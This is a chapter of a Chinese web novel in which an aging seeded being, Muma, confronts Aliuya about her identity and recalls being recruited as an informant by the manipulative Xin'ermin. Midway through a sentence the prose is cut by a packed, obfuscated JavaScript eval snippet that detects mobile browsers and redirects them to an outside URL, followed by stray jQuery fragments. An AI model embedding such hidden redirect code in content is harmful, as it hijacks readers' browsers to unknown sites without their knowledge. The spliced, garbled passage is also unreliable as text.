四十三日，兔尾院。阿琉亚举着原味甜筒和薄荷雪糕，看见一名身穿安全保卫制服的老人走向自己。听见他说：“终于找到你了，索非娜。”
阿琉亚奇怪地看着他。这是一名寄种人。据她所知，在役寄种人被避忌条件限制无法靠近，而这里必然与须臾有所关联，对方不大可能是“名录外”的自由寄种人。在搞清楚状况之前，阿琉亚一般不轻举妄动。她总是搞不清楚状况，以致于看起来很呆。
“我不是索非娜，你认错人了。”见他目光炯炯地盯着自己，阿琉亚不得已说道。他表示怀疑，在她身旁坐下，并说：“依我看，你应该叫索非娜。”
她抿了几口甜筒，转开目光望向别处，没再说话。
“我叫穆玛。”他毫无逻辑地转折说道，“这个世界上人和人的区别，比人和狗的区别还大，不是吗？”阿琉亚的余光还能看见他紧盯自己。他的视线和他的长相、言谈同样令人不适。
三十三日，斑徒据点。委托人应该给走猫提供尽可能多的背景信息。兰卡告诉绮莲一些关于穆玛的情况。
算起来，穆玛和提西亚同一年来到这世上。提西亚是兰卡邻居家的女儿。
不同之处在于，穆玛是域外命核被捕捉后，赋新进入寄体制成的寄种人，而提西亚是自由寄种人埃琳娜和大术师苏吾自然妊娠诞育的新生命。提西亚是寄种人的第二代。
伏萨朝末年的混战终结，兰卡和苏吾在芒瓦比邻而居。须臾重启寄种人计划，新的寄种人被安装控制系统后外派，芒瓦笼罩在苏吾布下的迷障中，与外界相隔绝，包括任务系统的指令。埃琳娜是个极好心的女人，夫妇俩在芒瓦收留一些活不下去的寄种人。她总把寄种人当作自己的同胞。
实际上她真的有一位同胞妹妹，和她同一批次赋新的另一名寄种人索非娜。索非娜的故乡给予她和术师同样的开蒙角。芙路思是苏吾的开门大弟子，而索非娜则是他的关门弟子。虽然索非娜比芙路思更早来到这个世界。芙路思幼年，曾在埃琳娜索非娜掌管的育幼院中生活过一段时间。所以芙路思管埃琳娜叫师母，管索非娜叫姐，索非娜管芙路思叫师姐。
索非娜就是穆玛追踪的那名术师，作为他的备选项。他的首选项是苏吾。苏吾的修为更高，即便已经五百多岁，仍比其他人拥有更长的寿数。可惜他死在了三零七九年。
这个世界的法则简直是狗屁，人和人之间连最基本的均衡都没有，个体拥有的生命时长大不相同。有些人的命程短暂，只有四五十年，而有人可以活上千年、几千年。很不幸穆玛属于前者。须臾给他的总命程估算在六十岁，似乎不算太差。但他的寄体从最开始就已有三十七年的使用年限，相当于他只剩二十三年寿命，还是身体状况不断走下坡路的阶段。
他想换一个寄体，他想活下去。
“既然你不是索非娜，那我给你讲个索非娜的故事吧。”苍老的男人向阿琉亚说道，“她也快五百岁了，索非娜。”
阿琉亚依旧没吱声。他自顾自讲述：“她也远没到死的时候。但她珍视的家人都死了。她的姐姐、姐夫、小外甥女。一夜之间，被杀光了。在那之前，她和姐姐一家闹别扭。小外甥女出生的时候去看了她们一次，后来再没来过。虽然如此，她和姐姐还是有很深的感情，能看出来。她给小外甥女邮寄了很多东西，世界各地的，有趣的小玩意儿。”包裹当然寄不到芒瓦，很多包裹都是穆玛去镇上取回来的。
她看起来毫无波动，甚至有些困惑。穆玛继续说：“芒瓦出事那天，如果她也在的话，或许结果就会不一样。她也是一名厉害的术师。有两名术师的话，结果或许会不一样。——她肯定也这样想。”穆玛盯着她。
阿琉亚嗦着冰棍细品他的“故事”，听不懂他想传达什么信息。她优先将他视作友好的想要传递消息的同类，但他的表达能力太拙劣连故事都讲不通顺。
她完全没有被激怒。穆玛多少感到挫败。芒瓦被外卫剿灭，为了报复，苏吾追杀辛尔敏，将朗晴公馆夷为平地，后来须臾的重要产业都装置了因力波动监测类似的装备。他想要激怒索非娜，愤怒最能使人露出原型，否则她的幻术很有可能骗过所有人。
“雪糕，”他忍不住说，“冰棍，凉的，那么多添加剂，少吃，不健康。”
阿琉亚看着两手的冰淇淋，迟疑地说：“这是他们升级过的高级配方，每个人每天有配额，在医生允许范围内。免费的。好吃。你要吗？我今天还可以领两个。”
穆玛摇头表示不认可：“好吃的、好看的，这些东西最会减少寿命。尤其对我们这样的人来说。有任何意义吗？”
他说“我们这样的人”，大概是指寄种人。阿琉亚揣摩。面对忽然而至的灵魂拷问她口干舌燥。像不会游泳的落水者漂在海面上侥幸没沉下去，只能一动不动随波逐流，任凭海鸟在头上拉屎也不敢躲避。生怕一扑腾反就沉下去了。
“呃，会开心。开心有利于健康。”她谨慎地说。
“对。但这一点儿小甜头带来的益处，远不足以覆盖损害。更重要的，它会造成一种错觉。会让你觉得，这里的时间就是你的真实。小小的愉悦，一点一滴，这样那样的片段，拼凑而成。人生。”他颠三倒四地说，“但事实上，来到这里的经历，自以为和他人建立的感情链接，根本从一开始就是梦，就是虚幻。真正的我们还在原地吗？你不想回去吗？故乡。”
起初，他也像其他寄种人一样，顺从地接受了再也无法回到故乡的“事实”。他们将之视作事实是须臾在他们的初始认知中标注了这样的信息，他们没有能力怀疑。而须臾在其他可以验证的初始认知中没有欺骗行为，想来这一条也是可信的。
就像人从一开始就知道自己会死，没人会怀疑这一点。
他也曾是个会被晴雨变幻、关心与爱所打动的正常人。像正常人一样，一生只有一件事，即等待死亡。
在见到某个人之前。
山林别墅，空气湿润，打开的木窗，窗玻璃压住枝条。穆玛清晰地记得枝条上每一片树叶的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503568|163694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝向。圆形的树叶，嫩绿色、深绿色，一枝一枝交错。
那个男人在等他，站在窗边。一个衣着光鲜的男人。他并不很高，但身姿挺拔。天冷，套装里衣领层层叠叠，看上去却不臃肿。
微卷的黑色短发，精心梳理的完美弧度，自然蓬松。最令人印象深刻的是他的眼睛。他有一双蛊惑人心的桃花眼，眼里像在诉说无限的哀愁和希望。也有可能是在后来的无数次回想中平添的妄想。起初，辛尔敏只是冷漠地看向穆玛。
“现在确实没有让你们回去的方法，但不代表之后找不到，”他说，“几百年前，也没人想到还能制造出像你们这样的东西。”
“‘返程’一直是须臾重要的研究方向——如何将捕捉的命核送回原来的世界，如何搭建连通两地的通道。”他说，“但前提是，你要能活到那一天。”
“术师的生命比起普通人长得多，更不用说，像苏吾那样顶尖的大术师。”
他要穆玛留在芒瓦，每隔一段时间向他汇报近况。
“我不会背叛芒瓦，他们救了我！从你们这群恶棍手中救了我！”穆玛激愤地吼道，被机要组外卫队员控制住行动。
辛尔敏便笑了。这时的笑是真实的并非记忆加工。他轻蔑地笑问：“你确定你在这里经历的一切，都是真实，而非只是一场主题为大逃杀的幻梦？真实的你或许此时还在树荫下小憩，在你真正的家人围绕中。我不能确定需要多久找到送你们回去的路，但我能确定，如果在这里死了，那就真的回不去了。”
穆玛恍惚。
“就像角色扮演，你那么投入地扮演另一个角色，和其他角色建立感情，好像度过了他的每一分每一秒，但你真的就是这个角色了吗？”他问，“你是穆玛吗？这不过是我们赋予你的名字。就像我们赋予你的认知，‘寄种人是回不去的’。现在我告诉你，这一条值得怀疑。”
他好像忽然醒过来。像戏剧角色忽然有了超出场景的自我意识。他确实得活下去，无论如何要活下去。即便背叛恩情与友谊。这算是背叛吗？穆玛心想，倒不如说是一种皈依，向着真正的自我。
“就像角色扮演，你那么投入地扮演另一个角色，和其他角色建立感情，好像度过了他的每一分每一秒，但你真的就是这个角色了吗？”穆玛记得他说的每一个字。他向阿琉亚问道：“你是索非娜吗？这不过是他们取的名字。”
“我不是索非娜，我叫阿琉亚。”阿琉亚纠正道。但她还是颇为震撼地看着这位同类，心想他说得好有道理。她从未思考过这个问题，一时忘了吃完美味的不健康食品。
薄荷味雪糕化开，糖水流经她的手腕，坠落到地上，扬起小小的几乎看不见的尘灰。她的手感知到一道冰凉，她能想象随后即将到来的黏腻。那么真实的、确切的感受。
一只蚂蚁飞快地爬行，穿过水渍。她确确实实看见了。但他说得没错，这些都是虚幻。是她被从故乡带来，强行赋予的虚幻。
我是谁？她忽然产生小小的疑问。